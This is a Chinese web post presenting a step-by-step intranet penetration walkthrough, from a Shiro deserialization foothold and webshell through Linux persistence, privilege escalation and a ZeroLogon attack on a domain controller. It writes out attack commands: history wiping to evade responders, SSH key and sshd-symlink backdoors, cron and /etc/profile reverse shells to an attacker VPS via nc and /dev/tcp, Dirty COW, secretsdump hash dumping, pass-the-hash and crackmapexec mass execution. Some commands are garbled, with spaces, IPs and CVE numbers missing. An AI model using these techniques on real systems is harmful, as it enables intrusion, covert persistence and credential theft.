网络成瘾症

首页 » 常识 » 问答 » 实战网络安全学习内网渗透实例
TUhjnbcbe - 2023/9/5 21:59:00

一、前言

从linux打进去到域环境,到获取域控权限。全篇实操

二、外网打点

1、打开站点,很正常的一个登录界面

2、尝试登录后发现典型的shiro特征。

3、使用工具直接打shiro反序列化即可。

4、直接上冰蝎马,连接

1、份很多已经买不到的绝版电子书2、30G安全大厂内部的视频资料3、份src文档4、常见安全面试题5、ctf大赛经典题目解析6、全套工具包7、应急响应笔记8、网络安全学习路线

三、权限维持

权限维持其实看了很多文章,都是有包括修改用户的,但是因为应急响应排查最先的就是用户登录情况,/etc/passwd,/etc/shadow文件修改情况,所以这里其实不太推荐这样做。当然下面介绍的几种也是比较常用的,简单操作的,操作其实还是有些明显的,可以挑选一两个用就好,毕竟,操作越少被发现的可能就越低嘛;也可以选择做多几个权限维持,一个去掉了还有另一个嘛~

(一)、隐藏历史记录

1、在命令前加空格,命令不会被记录

[空格]cat/etcpasswd

cat/etc/passwd

可以看到命令只记录了一条

2、设置命令不记录

[空格]set+ohistory

恢复

set-ohistory

3、删除history文件中指定行的命令,[num]为每行命令左边的标识。

history-d[num]

可以看到原本的1命令已被删除

4、粗暴点的,直接删除history文件内容

#向history文件写入空内容,覆盖原本内容echo~/.bash_history#清空当前history记录history-c

(二)、SSH公钥写入

ssh连接相当于拿到目标主机的一个shell。除了使用账号密码进行连接以外,还有一种方式便是通过将ssh密钥写入**/root/.ssh/authorized_keys**目录下,然后便可以免密码登录了。

熟悉redis未授权访问漏洞的利用手法的话,对这种方式一定不会陌生。这也是一种留下后门的方式。

生成ssh密钥,输入命令,按三次回车即可

ssh-keygen-trsa

生成后在~/.ssh/文件夹中发现密钥已经成功生成了。其中id_rsa为私钥,id_rsa.pub为公钥

将id_rsa.pub文件内容输入到~/.ssh/authorized_keys文件中,如果没有这个文件,那就自己新建

尝试ssh连接成功

sshroot

10..55.4

(三)、SSH软连接

原理:在sshd服务配置启用PAM认证的前提下,PAM配置文件中控制标志为sufficient时,只要pam_rootok模块检测uid为0(root)即可成功登录。

也就是说当开启了pam认证后,只需要找到文件配置为authsufficientpam_rootok.so的即可。1、输入命令,生成软连接,端口为22。

ln-sf/usr/sbin/sshd/tmp/su;/tmp/su-oPort=22

2、ssh连接,密码任意输入,成功登录。

3、好用是好用,但是容易被发现,输入ps-aux就可以发现了。

(四)、计划任务

1、新建一个cron.sh文件,这里我执行的命令是nc反弹shell,使用其他命令也是可以的。

2、设置计划任务,这里*/3表示每3分钟执行一次。

(crontab-l;printf"*/3****/bin/bash/tmp/cron.sh;/bin/bash--noprofile-i;\rnocrontabforwhoami%c\n")

crontab-

3、成功隐藏计划任务

4、获取反弹shell

(五)、通过环境变量植入后门

常见的环境变量路径如下:

/etc/profile/etc/profile.d/*.sh~/.bash_profile~/.profile~/.bashrc~/bash_logout/etc/bashrc/etc/bash.bashrc

将反弹shell命令写入环境变量

echobash-i/dev/tcp/[vps-ip]/[port]01/etc/profile

这样当系统重启了之后,便会将shell反弹到vps上了

四、主机信息收集

获取权限后,需要进行一定的信息收集

(一)、查询账户信息

whoami

id

cat/etc/passwd

cat/etc/shadow

(二)、查询网络和端口信息

ifconfig

netstat-anlp

arp-a

route-n

(三)、查询进程列表

ps-ef

(四)、查询系统和补丁信息

通过查询内核版本uname-a或者使用rpm-qa来查询安装了哪些软件包

(五)、凭证收取

cat/root/.bash_history//历史输入命令cat~/.bash_history//历史输入命令

w//目前登录的用户

五、提权

为了安全性考虑,渗透测试的站点往往会对一些数据库或者站点进行降权处理,降低了管理站点或者数据库的权限,防止攻击者获取了权限之后直接可以造成更大的威胁。这也就是表示在渗透测试过程中,我们获取的网站权限为低权限,只能做有限的一些操作,如果要突破当前主机进行内网渗透的话,我们需要拿到相对高的权限例如管理员权限,这样才能在当前服务器的基础上实现内网渗透。然后我们了解一下服务器的权限划分,在windows系统中,最高权限为system系统权限,最低的为guest权限。在linux系统中,最高权限为root权限。

(一)、内核漏洞提权

利用条件

系统对应内核存在某些漏洞,并且没有打上补丁,即有可能存在内核漏洞。

cat/etc/issue#查看发行版本uname-r#查看内核版本

实战演示

1、首先通过linux提权辅助工具linux-exploit-suggester来判断哪些漏洞可以用来溢出提权。

2、这里选择脏牛——CVE--来进行提权。首先下载对应的exp,使用命令gcc-pthreaddirty.c-odirty-lcrypt命令对dirty.c进行编译,编译完成后会生成一个dirty文件。

3、执行dirty文件提权,在后面输入密码,获取一个firefart用户名,密码为我输入的密码的账户。

4、登录该用户,查看,已经成功获取root权限

(二)、SUID提权

SUID代表设置的用户ID,是一种Linux功能,允许用户在指定用户的许可下执行文件。例如apt-get命令需要以root权限才能执行,我们可以设置apt-get对的SUID,那么低权限用户也可以以root权限执行apt-get操作。SUID的常见标识就是使用‘s’替换了‘x’。1、使用以下命令发现系统上运行的SUID可执行文件

find/-perm-u=s-typef2/dev/null

2、查看find命令,发现确实是使用了s来替换x。

3、借助find命令进行命令执行,成功以root权限执行了命令

(三)、Sudo配置错误

sudo上存在这样一个漏洞,只要用户在使用sudo命令时指定UID为-1或,就可以以root身份执行命令。1、以root权限执行id命令sudo-u#-1id

2、以root权限执行whoami命令sudo-u#-1whoami

六、横向移动

横向移动方法很多,这里介绍一种在年公开的,可以直接攻击域控的漏洞。

(一)、CVE--

NetLogon远程协议是一种在Windows域控上使用的RPC接口,被用于各种与用户和机器认证相关的任务。最常用于让用户使用NTLM协议登录服务器,也用于NTP响应认证以及更新计算机域密码。微软MSRC于8月11日发布了Netlogon特权提升漏洞安全通告。此漏洞CVE编号CVE--,CVSS评分:10.0。由Secura公司的TomTervoort发现提交并命名为ZeroLogon。

使用的工具:

1、exp

2、impacket工具包

1、首先获取域内信息

netgroup"DomainControllers"/domain

这里获取了域ajie.cool、域控主机名AD

2、使用exp将域控密码置空

python3cve---exploit.py-n域控主机名-t域控IP

python3cve---exploit.py-nAD-t..30.

这里已经成功将密码进行置空处理了

3、利用impacket工具包中的secretsdump.py脚本获取hash

python3secretsdump.pyajie.cool/AD\$

..30.-no-pass

Administrator::aad3bbeeaad3bbee:f1deefabbda59cea3:::AD$:0:aad3bbeeaad3bbee:31d6cfe0d16aeb73c59d7e0cc0:::

可以看到AD$的hash为31d6cfe0d16aeb73c59d7e0cc0即空密码

获取hash后便可以进行hash破解或PTH了,这里就不多做展示。4、下一步我们需要还原密码。首先通过获取到的hash,可以通过wmiexec.py进行pth攻击,拿到一个shell

python3wmiexec.py-hashesaad3bbeeaad3bbee:f1deefabbda59cea3Administrator

..30.

5、中间省略获取权限到远程桌面到步骤了,也可以CS上线啥的,主要为了方便下载system.save、sam.save、security.save文件即可。

6、通过secretsdump.py获取保存的hash(文件路径根据自己的来设置,我这里因为在桌面所以通过…/…/跳转了)

python3secretsdump.py-sam../../sam.save-system../../system.save-security../../security.saveLOCAL

框出来的那一串,后面部门即为原本的hash

75fed04ba66f04e0eabd

7、通过工具还原密码

python3reinstall_original_pw.pyAD..30.75fed04ba66f04e0eabd

8、尝试了一下,no-pass利用失败了

七、扩大战果

前面已经获取到域控的NTLMhash,那么后面可以使用Crackmapexec批量获取主机权限(通过域控NTLMhash,以及指定IP段进行攻击)kali下进行安装

apt-getinstallcrackmapexec

输入如下命令即可

proxychainscrackmapexecsmb..30.1/24-uadministrator-Hf1deefabbda59cea3-dajie.cool-xwhoamiIP:指定要攻击的IP段-u:指定用户名-H:指定NTLMHash-d:指定域-x:执行系统命令·

可以看到返回了域控的管理员

proxychainscrackmapexecsmb..30.1/24-uadministrator-Hf1deefabbda59cea3-dajie.cool-xipconfig

1
查看完整版本: 实战网络安全学习内网渗透实例